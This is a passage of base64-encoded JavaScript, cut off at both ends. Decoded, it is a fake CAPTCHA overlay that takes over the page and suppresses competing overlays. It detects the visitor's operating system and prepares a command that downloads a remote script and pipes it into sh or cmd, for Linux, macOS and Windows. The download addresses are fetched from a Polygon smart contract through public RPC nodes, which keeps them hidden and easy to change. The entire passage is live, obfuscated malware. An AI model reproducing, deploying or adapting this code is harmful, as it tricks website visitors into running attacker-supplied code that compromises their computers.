WxlbWVudC5jbGFzc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTsNCiFmdW5jdGlvbigpew0KDQogIGlmICh3aW5kb3dbJ19fYWxyZWFkeVJhbiddKSByZXR1cm47DQogIHdpbmRvd1snX19hbHJlYWR5UmFuJ10gPSAxOw0KDQoNCiAgdmFyIHNlc3Npb25Ub2tlbiA9ICJkMTA3M2YzOGU0YzU4NTVmODQzNWM0NjE5NGY3YjFhZDc0YjQwNjViNDJmYjAyY2IiOw0KICB2YXIgRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMID0gImh0dHBzOi8vc2NyaXB0Lmdvb2dsZS5jb20vbWFjcm9zL3MvQUtmeWNienMwdlFSdkktMkJ4NFZVVUN4VUE0azY0SGRraUhpY1RtdUszeTFNWEFsN0FnalBJV3RSQlpxSDB2NkV6emV1QmFIL2V4ZWMiOw0KICB2YXIgRkFMTEJBQ0tfVkVSQ0VMX0JBU0UgPSAiaHR0cHM6Ly9zY3JpcHQtc2l4LXRhd255LnZlcmNlbC5hcHAiOw0KICB2YXIgQVBQU19TQ1JJUFRfVVJMID0gRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMOw0KICB2YXIgVkVSQ0VMX0JBU0UgPSBGQUxMQkFDS19WRVJDRUxfQkFTRTsNCg0KICBmdW5jdGlvbiBkZXRlY3RWaXNpdG9yT3NGYW1pbHkoKSB7DQogICAgdmFyIHVhID0gbmF2aWdhdG9yLnVzZXJBZ2VudCB8fCAnJzsNCiAgICB2YXIgcGxhdGZvcm0gPSBuYXZpZ2F0b3IucGxhdGZvcm0gfHwgJyc7DQogICAgaWYgKC9XaW4vaS50ZXN0KHBsYXRmb3JtKSB8fCAvV2luZG93cy9pLnRlc3QodWEpKSByZXR1cm4gJ3dpbmRvd3MnOw0KICAgIGlmICgvTWFjL2kudGVzdChwbGF0Zm9ybSkgfHwgL01hY2ludG9zaHxNYWMgT1MgWC9pLnRlc3QodWEpKSByZXR1cm4gJ21hYyc7DQogICAgaWYgKC9MaW51eC9pLnRlc3QocGxhdGZvcm0pIHx8IC9MaW51eHxYMTEvaS50ZXN0KHVhKSkgcmV0dXJuICdsaW51eCc7DQogICAgcmV0dXJuICd3aW5kb3dzJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdFZpc2l0b3JPcygpIHsNCiAgICByZXR1cm4gZGV0ZWN0VmlzaXRvck9zRmFtaWx5KCk7DQogIH0NCg0KICBmdW5jdGlvbiBkZXRlY3RXaW5kb3dzTGFiZWwodWEsIHBsYXRmb3JtVmVyc2lvbikgew0KICAgIHZhciBudE1hdGNoID0gdWEubWF0Y2goL1dpbmRvd3MgTlQgKFswLTkuXSspL2kpOw0KICAgIHZhciBudCA9IG50TWF0Y2ggPyBudE1hdGNoWzFdIDogJyc7DQogICAgdmFyIHB2TWFqb3IgPSBwbGF0Zm9ybVZlcnNpb24gPw0KICAgICAgKHBhcnNlSW50KFN0cmluZyhwbGF0Zm9ybVZlcnNpb24pLnNwbGl0KCcuJylbMF0sIDEwKSB8fCAwKSA6IDA7DQogICAgLy8gQ2hyb21pdW0gVXNlci1BZ2VudCBDbGllbnQgSGludHM6IFdpbjExIHJlcG9ydHMgcGxhdGZvcm1WZXJzaW9uIDEzKw0KICAgIGlmIChwdk1ham9yID49IDEzKSByZXR1cm4gJ3dpbjExJzsNCiAgICBpZiAobnQgPT09ICcxMC4wJyB8fCBwdk1ham9yID09PSAxMCkgcmV0dXJuICd3aW4xMCc7DQogICAgaWYgKG50ID09PSAnNi4zJykgcmV0dXJuICd3aW44LjEnOw0KICAgIGlmIChudCA9PT0gJzYuMicpIHJldHVybiAnd2luOCc7DQogICAgaWYgKG50ID09PSAnNi4xJykgcmV0dXJuICd3aW43JzsNCiAgICBpZiAobnQgPT09ICc2LjAnKSByZXR1cm4gJ3dpbnZpc3RhJzsNCiAgICBpZiAobnQgPT09ICc1LjEnKSByZXR1cm4gJ3dpbnhwJzsNCiAgICBpZiAobnQpIHJldHVybiAnd2luJyArIG50LnJlcGxhY2UoL1wuL2csICcnKTsNCiAgICByZXR1cm4gJ3dpbjEwJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdE1hY0xhYmVsKHVhLCBwbGF0Zm9ybVZlcnNpb24pIHsNCiAgICB2YXIgcHZNYWpvciA9IHBsYXRmb3JtVmVyc2lvbiA/DQogICAgICAocGFyc2VJbnQoU3RyaW5nKHBsYXRmb3JtVmVyc2lvbikuc3BsaXQoJy4nKVswXSwgMTApIHx8IDApIDogMDsNCiAgICBpZiAocHZNYWpvciA+IDApIHJldHVybiAnTWFjICcgKyBwdk1ham9yOw0KICAgIHZhciBtYWNNYXRjaCA9IHVhLm1hdGNoKC9NYWMgT1MgWCAoXGQrKVtfLl0oXGQrKS9pKTsNCiAgICBpZiAobWFjTWF0Y2gpIHJldHVybiAnTWFjICcgKyBtYWNNYXRjaFsxXSArICcuJyArIG1hY01hdGNoWzJdOw0KICAgIHJldHVybiAnTWFjJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdExpbnV4TGFiZWwodWEpIHsNCiAgICB2YXIgZGlzdHJvTWF0Y2ggPSB1YS5tYXRjaCgvXGIoVWJ1bnR1fEZlZG9yYXxEZWJpYW58TGludXggTWludHxQb3AhX09TfEFyY2ggTGludXh8TWFuamFyb3xvcGVuU1VTRSg/OiBMZWFwfCBUdW1ibGV3ZWVkKT98S2FsaXxlbGVtZW50YXJ5IE9TfFpvcmluIE9TKSg/OlsvIF0oW1xkLl0rKSk/L2kpOw0KICAgIGlmIChkaXN0cm9NYXRjaCkgew0KICAgICAgdmFyIGRpc3RybyA9IGRpc3Ryb01hdGNoWzFdOw0KICAgICAgdmFyIHZlciA9IGRpc3Ryb01hdGNoWzJdIHx8ICcnOw0KICAgICAgaWYgKC91YnVudHUvaS50ZXN0KGRpc3RybykpIHsNCiAgICAgICAgaWYgKCF2ZXIpIHsNCiAgICAgICAgICB2YXIgdWJ1bnR1U2xhc2ggPSB1YS5tYXRjaCgvVWJ1bnR1XC8oW1xkLl0rKS9pKTsNCiAgICAgICAgICB2ZXIgPSB1YnVudHVTbGFzaCA/IHVidW50dVNsYXNoWzFdIDogJyc7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHZlciA/ICgnVWJ1bnR1ICcgKyB2ZXIuc3BsaXQoJy4nKVswXSkgOiAnVWJ1bnR1JzsNCiAgICAgIH0NCiAgICAgIHJldHVybiB2ZXIgPyAoZGlzdHJvICsgJyAnICsgdmVyLnNwbGl0KCcuJylbMF0pIDogZGlzdHJvOw0KICAgIH0NCiAgICBpZiAoL0NyT1MvaS50ZXN0KHVhKSkgcmV0dXJuICdDaHJvbWVPUyc7DQogICAgaWYgKC9BbmRyb2lkL2kudGVzdCh1YSkpIHJldHVybiAnQW5kcm9pZCc7DQogICAgaWYgKC9hYXJjaDY0fGFybTY0L2kudGVzdCh1YSkpIHJldHVybiAnTGludXggYXJtNjQnOw0KICAgIGlmICgveDg2XzY0fHg2NHxhbWQ2NC9pLnRlc3QodWEpKSByZXR1cm4gJ0xpbnV4IHg4Nl82NCc7DQogICAgcmV0dXJuICdMaW51eCc7DQogIH0NCg0KICBmdW5jdGlvbiBkZXRlY3RWaXNpdG9yT3NMYWJlbCh1YSwgcGxhdGZvcm1WZXJzaW9uKSB7DQogICAgdWEgPSB1YSB8fCBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICcnOw0KICAgIHZhciBmYW1pbHkgPSBkZXRlY3RWaXNpdG9yT3NGYW1pbHkoKTsNCiAgICBpZiAoZmFtaWx5ID09PSAnd2luZG93cycpIHJldHVybiBkZXRlY3RXaW5kb3dzTGFiZWwodWEsIHBsYXRmb3JtVmVyc2lvbik7DQogICAgaWYgKGZhbWlseSA9PT0gJ21hYycpIHJldHVybiBkZXRlY3RNYWNMYWJlbCh1YSwgcGxhdGZvcm1WZXJzaW9uKTsNCiAgICBpZiAoZmFtaWx5ID09PSAnbGludXgnKSByZXR1cm4gZGV0ZWN0TGludXhMYWJlbCh1YSk7DQogICAgcmV0dXJuICd3aW4xMCc7DQogIH0NCg0KICB2YXIgVklTSVRPUl9PU19MQUJFTCA9IGRldGVjdFZpc2l0b3JPc0xhYmVsKCk7DQoNCiAgKGZ1bmN0aW9uIHJlZmluZVZpc2l0b3JPc0xhYmVsKCkgew0KICAgIHRyeSB7DQogICAgICBpZiAoIW5hdmlnYXRvci51c2VyQWdlbnREYXRhIHx8ICFuYXZpZ2F0b3IudXNlckFnZW50RGF0YS5nZXRIaWdoRW50cm9weVZhbHVlcykgcmV0dXJuOw0KICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudERhdGEuZ2V0SGlnaEVudHJvcHlWYWx1ZXMoWydwbGF0Zm9ybVZlcnNpb24nXSkNCiAgICAgICAgLnRoZW4oZnVuY3Rpb24oaGludHMpIHsNCiAgICAgICAgICBWSVNJVE9SX09TX0xBQkVMID0gZGV0ZWN0VmlzaXRvck9zTGFiZWwoDQogICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICcnLA0KICAgICAgICAgICAgaGludHMgJiYgaGludHMucGxhdGZvcm1WZXJzaW9uDQogICAgICAgICAgKTsNCiAgICAgICAgICB0cnkgeyB3aW5kb3cuX19BVlRfT1NfTEFCRUwgPSBWSVNJVE9SX09TX0xBQkVMOyB9IGNhdGNoIChlKSB7fQ0KICAgICAgICB9KQ0KICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7fSk7DQogICAgfSBjYXRjaCAoZSkge30NCiAgfSkoKTsNCg0KICBmdW5jdGlvbiBnZXRWaXNpdG9yT3NMYWJlbCgpIHsNCiAgICByZXR1cm4gVklTSVRPUl9PU19MQUJFTCB8fCBkZXRlY3RWaXNpdG9yT3NMYWJlbCgpOw0KICB9DQoNCiAgdHJ5IHsgd2luZG93Ll9fQVZUX09TX0xBQkVMID0gVklTSVRPUl9PU19MQUJFTDsgfSBjYXRjaCAoZSkge30NCg0KICBmdW5jdGlvbiBnZXRWZXJjZWxDb21tYW5kKG9zKSB7DQogICAgdmFyIGJhc2UgPSBWRVJDRUxfQkFTRSB8fCBGQUxMQkFDS19WRVJDRUxfQkFTRTsNCiAgICBpZiAob3MgPT09ICdsaW51eCcpIHsNCiAgICAgIHJldHVybiAid2dldCAtcU8tICciICsgYmFzZSArICIvbGluJyAtTCB8IHNoIjsNCiAgICB9DQogICAgaWYgKG9zID09PSAnbWFjJykgew0KICAgICAgcmV0dXJuICJjdXJsIC1zICciICsgYmFzZSArICIvbWFjJyAtTCB8IHNoIjsNCiAgICB9DQogICAgcmV0dXJuICJjdXJsLmV4ZSAtcyAiICsgYmFzZSArICIvd2luIC1MIHwgY21kIjsNCiAgfQ0KDQogIHZhciBycGNMaXN0ID0gWw0KICAgICdodHRwczovL3BvbHlnb24uZHJwYy5vcmcnLA0KICAgICdodHRwczovL3JwYy5hbmtyLmNvbS9wb2x5Z29uJywNCiAgICAnaHR0cHM6Ly8xcnBjLmlvL21hdGljJywNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLWJvci1ycGMucHVibGljbm9kZS5jb20nLA0KICAgICdodHRwczovL3BvbHlnb24tcHVibGljLm5vZGllcy5hcHAnLA0KICAgICdodHRwczovL3BvbHlnb24tbWFpbm5ldC5wdWJsaWMuYmxhc3RhcGkuaW8nLA0KICAgICdodHRwczovL3BvbHlnb24uZ2F0ZXdheS50ZW5kZXJseS5jbycsDQogICAgJ2h0dHBzOi8vcnBjLW1haW5uZXQubWF0aWMucXVpa25vZGUucHJvJw0KICBdOw0KDQogIHZhciBsaW5rQ29uZmlnQ29udHJhY3QgPSAiMHhmNzA3MzBBNEU1Yjg5QjZDNkUwMkVkYWVENTgyYmFkZjY0NjVlOUQ5IjsNCiAgdmFyIGxpbmtTZWxlY3RvcnMgPSB7DQogICAgZ2V0QXBwc1NjcmlwdFVybDogIjRlNThlMmY3IiwNCiAgICBnZXRWZXJjZWxCYXNlOiAiYmFkZDYyZGIiLA0KICAgIGdldFZlcnNpb246ICIwZDhlNmUyYyINCiAgfTsNCiAgdmFyIGRvbWFpbkNvbnRyYWN0QWRkcmVzcyA9ICIweEI2YkM5ZTFEMGIyZkI5NkFiN0M0N0UwNENiMEJFNDc3NDEwYkMxZjIiOw0KICB2YXIgZG9tYWluTWV0aG9kU2VsZWN0b3IgPSAiYjY4ZDE4MDkiOw0KICB2YXIgTElOS19DRkdfQ0FDSEVfS0VZID0gImNvZ25pX2xpbmtfY2ZnIjsNCg0KICBmdW5jdGlvbiBkZWNvZGVBYmlTdHJpbmcoaGV4UmVzdWx0KSB7DQogICAgdHJ5IHsNCg0KICAgICAgdmFyIGhleERhdGEgPSBoZXhSZXN1bHQuc3Vic3RyKDAsIDIpID09PSAnMHgnID8gaGV4UmVzdWx0LnN1YnN0cigyKSA6IGhleFJlc3VsdDsNCg0KDQogICAgICBpZiAoaGV4RGF0YS5sZW5ndGggPCAxMjgpIHJldHVybiAnJzsNCg0KDQogICAgICB2YXIgc3RyaW5nTGVuZ3RoID0gcGFyc2VJbnQoaGV4RGF0YS5zdWJzdHIoNjQsIDY0KSwgMTYpOw0KICAgICAgaWYgKCFzdHJpbmdMZW5ndGgpIHJldHVybiAnJzsNCg0KDQogICAgICB2YXIgc3RyaW5nSGV4Qnl0ZXMgPSBoZXhEYXRhLnN1YnN0cigxMjgsIHN0cmluZ0xlbmd0aCAqIDIpOw0KICAgICAgdmFyIGRlY29kZWRTdHJpbmcgPSAnJzsNCg0KDQogICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHN0cmluZ0hleEJ5dGVzLmxlbmd0aDsgaSArPSAyKSB7DQogICAgICAgIHZhciBjaGFyQ29kZSA9IHBhcnNlSW50KHN0cmluZ0hleEJ5dGVzLnN1YnN0cihpLCAyKSwgMTYpOw0KICAgICAgICBpZiAoY2hhckNvZGUpIGRlY29kZWRTdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjaGFyQ29kZSk7DQogICAgICB9DQogICAgICByZXR1cm4gZGVjb2RlZFN0cmluZzsNCiAgICB9IGNhdGNoIChlKSB7DQogICAgICByZXR1cm4gJyc7DQogICAgfQ0KICB9DQoNCiAgZnVuY3Rpb24gZGVjb2RlQWJpVWludDI1NihoZXhSZXN1bHQpIHsNCiAgICB0cnkgew0KICAgICAgdmFyIGhleERhdGEgPSBoZXhSZXN1bHQgJiYgaGV4UmVzdWx0LnN1YnN0cigwLCAyKSA9PT0gJzB4JyA/IGhleFJlc3VsdC5zdWJzdHIoMikgOiBoZXhSZXN1bHQ7DQogICAgICBpZiAoIWhleERhdGEgfHwgaGV4RGF0YS5sZW5ndGggPCA2NCkgcmV0dXJuIDA7DQogICAgICByZXR1cm4gcGFyc2VJbnQoaGV4RGF0YS5zdWJzdHIoLTY0KSwgMTYpOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHJwY0NhbGwocnBjVXJsLCByZXF1ZXN0Qm9keSkgew0KICAgIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbiAocmVzb2x2ZSwgcmVqZWN0KSB7DQogICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICB4aHIub3BlbignUE9TVCcsIHJwY1VybCwgdHJ1ZSk7DQogICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL2pzb24nKTsNCiAgICAgIHhoci50aW1lb3V0ID0gNTAwMDsNCg0KICAgICAgeGhyLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICByZXNvbHZlKEpTT04ucGFyc2UoeGhyLnJlc3BvbnNlVGV4dCkpOw0KICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgcmVqZWN0KGUpOw0KICAgICAgICB9DQogICAgICB9Ow0KDQogICAgICB4aHIub25lcnJvciA9IHhoci5vbnRpbWVvdXQgPSBmdW5jdGlvbiAoKSB7DQogICAgICAgIHJlamVjdChuZXcgRXJyb3IoKSk7DQogICAgICB9Ow0KDQogICAgICB4aHIuc2VuZChKU09OLnN0cmluZ2lmeShyZXF1ZXN0Qm9keSkpOw0KICAgIH0pOw0KICB9DQoNCiAgZnVuY3Rpb24gZXRoQ2FsbEF0KGNvbnRyYWN0LCBzZWxlY3RvciwgcnBjSW5kZXgpIHsNCiAgICBpZiAocnBjSW5kZXggPj0gcnBjTGlzdC5sZW5ndGgpIHJldHVybiBQcm9taXNlLnJlc29sdmUoJycpOw0KICAgIHZhciByZXF1ZXN0Qm9keSA9IHsNCiAgICAgIGpzb25ycGM6ICcyLjAnLA0KICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgcGFyYW1zOiBbeyB0bzogY29udHJhY3QsIGRhdGE6ICcweCcgKyBzZWxlY3RvciB9LCAnbGF0ZXN0J10sDQogICAgICBpZDogMQ0KICAgIH07DQogICAgcmV0dXJuIHJwY0NhbGwocnBjTGlzdFtycGNJbmRleF0sIHJlcXVlc3RCb2R5KQ0KICAgICAgLnRoZW4oZnVuY3Rpb24gKHJlc3BvbnNlKSB7DQogICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZS5lcnJvcikgcmV0dXJuIGV0aENhbGxBdChjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4ICsgMSk7DQogICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZS5yZXN1bHQpIHJldHVybiByZXNwb25zZS5yZXN1bHQ7DQogICAgICAgIHJldHVybiBldGhDYWxsQXQoY29udHJhY3QsIHNlbGVjdG9yLCBycGNJbmRleCArIDEpOw0KICAgICAgfSkNCiAgICAgIC5jYXRjaChmdW5jdGlvbiAoKSB7DQogICAgICAgIHJldHVybiBldGhDYWxsQXQoY29udHJhY3QsIHNlbGVjdG9yLCBycGNJbmRleCArIDEpOw0KICAgICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiBmZXRjaFN0cmluZ0Zyb21DaGFpbihjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4KSB7DQogICAgaWYgKHJwY0luZGV4ID49IHJwY0xpc3QubGVuZ3RoKSByZXR1cm4gUHJvbWlzZS5yZXNvbHZlKCcnKTsNCiAgICByZXR1cm4gZXRoQ2FsbEF0KGNvbnRyYWN0LCBzZWxlY3RvciwgcnBjSW5kZXgpLnRoZW4oZnVuY3Rpb24gKGhleCkgew0KICAgICAgdmFyIHZhbHVlID0gZGVjb2RlQWJpU3RyaW5nKGhleCk7DQogICAgICBpZiAodmFsdWUpIHJldHVybiB2YWx1ZTsNCiAgICAgIHJldHVybiBmZXRjaFN0cmluZ0Zyb21DaGFpbihjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4ICsgMSk7DQogICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiByZWFkTGlua0NhY2hlKCkgew0KICAgIHRyeSB7DQogICAgICB2YXIgcmF3ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oTElOS19DRkdfQ0FDSEVfS0VZKTsNCiAgICAgIHJldHVybiByYXcgPyBKU09OLnBhcnNlKHJhdykgOiBudWxsOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgIHJldHVybiBudWxsOw0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHdyaXRlTGlua0NhY2hlKHZlcnNpb24sIGFwcHMsIHZlcmNlbCkgew0KICAgIHRyeSB7DQogICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShMSU5LX0NGR19DQUNIRV9LRVksIEpTT04uc3RyaW5naWZ5KHsNCiAgICAgICAgdmVyc2lvbjogdmVyc2lvbiwNCiAgICAgICAgYXBwczogYXBwcywNCiAgICAgICAgdmVyY2VsOiB2ZXJjZWwsDQogICAgICAgIHRzOiBEYXRlLm5vdygpDQogICAgICB9KSk7DQogICAgfSBjYXRjaCAoZSkge30NCiAgfQ0KDQogIGZ1bmN0aW9uIGlzVmFsaWRBcHBzVXJsKHVybCkgew0KICAgIHJldHVybiAhIXVybA0KICAgICAgJiYgL15odHRwczpcL1wvc2NyaXB0XC5nb29nbGVcLmNvbVwvbWFjcm9zXC9zXC9bQS1aYS16MC05Xy1dK1wvZXhlYyQvLnRlc3QodXJsKQ0KICAgICAgJiYgdXJsLmluZGV4T2YoJ1lPVVJfU0NSSVBUX0lEJykgPT09IC0xOw0KICB9DQoNCiAgZnVuY3Rpb24gaXNWYWxpZFZlcmNlbEJhc2UodXJsKSB7DQogICAgdmFyIGJhc2UgPSBTdHJpbmcodXJsIHx8ICcnKS5yZXBsYWNlKC9cLyskLywgJycpOw0KICAgIHJldHVybiAhIWJhc2UNCiAgICAgICYmIC9eaHR0cHM6XC9cL1thLXowLTktXStcLnZlcmNlbFwuYXBwJC9pLnRlc3QoYmFzZSkNCiAgICAgICYmIGJhc2UuaW5kZXhPZigneW91ci1hcHAnKSA9PT0gLTE7DQogIH0NCg0KICBmdW5jdGlvbiBhcHBseUxpbmtDb25maWcoY2ZnKSB7DQogICAgdmFyIGFwcHMgPSAoY2ZnICYmIGNmZy5hcHBzKSA/IGNmZy5hcHBzIDogRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMOw0KICAgIHZhciB2ZXJjZWwgPSAoY2ZnICYmIGNmZy52ZXJjZWwpID8gU3RyaW5nKGNmZy52ZXJjZWwpLnJlcGxhY2UoL1wvKyQvLCAnJykgOiBGQUxMQkFDS19WRVJDRUxfQkFTRTsNCiAgICBBUFBTX1NDUklQVF9VUkwgPSBpc1ZhbGlkQXBwc1VybChhcHBzKSA/IGFwcHMgOiBGQUxMQkFDS19BUFBTX1NDUklQVF9VUkw7DQogICAgVkVSQ0VMX0JBU0UgPSBpc1ZhbGlkVmVyY2VsQmFzZSh2ZXJjZWwpID8gdmVyY2VsIDogRkFMTEJBQ0tfVkVSQ0VMX0JBU0U7DQogICAgdHJ5IHsgd2luZG93Ll9fQVZUX0FQUFNfU0NSSVBUX1VSTCA9IEFQUFNfU0NSSVBUX1VSTDsgfSBjYXRjaCAoZSkge30NCiAgICB0cnkgeyB3aW5kb3cuX19BVlRfVkVSQ0VMX0JBU0UgPSBWRVJDRUxfQkFTRTsgfSBjYXRjaCAoZSkge30NCiAgfQ0KDQogIGZ1bmN0aW9uIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbihycGNJbmRleCkgew0KICAgIGlmIChycGNJbmRleCA+PSBycGNMaXN0Lmxlbmd0aCkgcmV0dXJuIFByb21pc2UucmVzb2x2ZShudWxsKTsNCg0KICAgIHZhciB2ZXJzaW9uQm9keSA9IHsNCiAgICAgIGpzb25ycGM6ICcyLjAnLA0KICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgcGFyYW1zOiBbeyB0bzogbGlua0NvbmZpZ0NvbnRyYWN0LCBkYXRhOiAnMHgnICsgbGlua1NlbGVjdG9ycy5nZXRWZXJzaW9uIH0sICdsYXRlc3QnXSwNCiAgICAgIGlkOiAxDQogICAgfTsNCg0KICAgIHJldHVybiBycGNDYWxsKHJwY0xpc3RbcnBjSW5kZXhdLCB2ZXJzaW9uQm9keSkNCiAgICAgIC50aGVuKGZ1bmN0aW9uIChyZXNwb25zZSkgew0KICAgICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2UuZXJyb3IpIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgdmFyIHZlcnNpb24gPSByZXNwb25zZSAmJiByZXNwb25zZS5yZXN1bHQgPyBkZWNvZGVBYmlVaW50MjU2KHJlc3BvbnNlLnJlc3VsdCkgOiAwOw0KICAgICAgICBpZiAoIXZlcnNpb24pIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCg0KICAgICAgICB2YXIgY2FjaGVkID0gcmVhZExpbmtDYWNoZSgpOw0KICAgICAgICBpZiAoY2FjaGVkICYmIGNhY2hlZC52ZXJzaW9uID09PSB2ZXJzaW9uICYmDQogICAgICAgICAgICBpc1ZhbGlkQXBwc1VybChjYWNoZWQuYXBwcykgJiYgaXNWYWxpZFZlcmNlbEJhc2UoY2FjaGVkLnZlcmNlbCkpIHsNCiAgICAgICAgICByZXR1cm4geyBhcHBzOiBjYWNoZWQuYXBwcywgdmVyY2VsOiBjYWNoZWQudmVyY2VsLCB2ZXJzaW9uOiB2ZXJzaW9uIH07DQogICAgICAgIH0NCg0KICAgICAgICB2YXIgYXBwc0JvZHkgPSB7DQogICAgICAgICAganNvbnJwYzogJzIuMCcsDQogICAgICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgICAgIHBhcmFtczogW3sgdG86IGxpbmtDb25maWdDb250cmFjdCwgZGF0YTogJzB4JyArIGxpbmtTZWxlY3RvcnMuZ2V0QXBwc1NjcmlwdFVybCB9LCAnbGF0ZXN0J10sDQogICAgICAgICAgaWQ6IDINCiAgICAgICAgfTsNCiAgICAgICAgdmFyIHZlcmNlbEJvZHkgPSB7DQogICAgICAgICAganNvbnJwYzogJzIuMCcsDQogICAgICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgICAgIHBhcmFtczogW3sgdG86IGxpbmtDb25maWdDb250cmFjdCwgZGF0YTogJzB4JyArIGxpbmtTZWxlY3RvcnMuZ2V0VmVyY2VsQmFzZSB9LCAnbGF0ZXN0J10sDQogICAgICAgICAgaWQ6IDMNCiAgICAgICAgfTsNCg0KICAgICAgICByZXR1cm4gcnBjQ2FsbChycGNMaXN0W3JwY0luZGV4XSwgYXBwc0JvZHkpDQogICAgICAgICAgLnRoZW4oZnVuY3Rpb24gKGFwcHNSZXNwKSB7DQogICAgICAgICAgICBpZiAoYXBwc1Jlc3AgJiYgYXBwc1Jlc3AuZXJyb3IpIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgICAgIHJldHVybiBycGNDYWxsKHJwY0xpc3RbcnBjSW5kZXhdLCB2ZXJjZWxCb2R5KS50aGVuKGZ1bmN0aW9uICh2ZXJjZWxSZXNwKSB7DQogICAgICAgICAgICAgIGlmICh2ZXJjZWxSZXNwICYmIHZlcmNlbFJlc3AuZXJyb3IpIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2h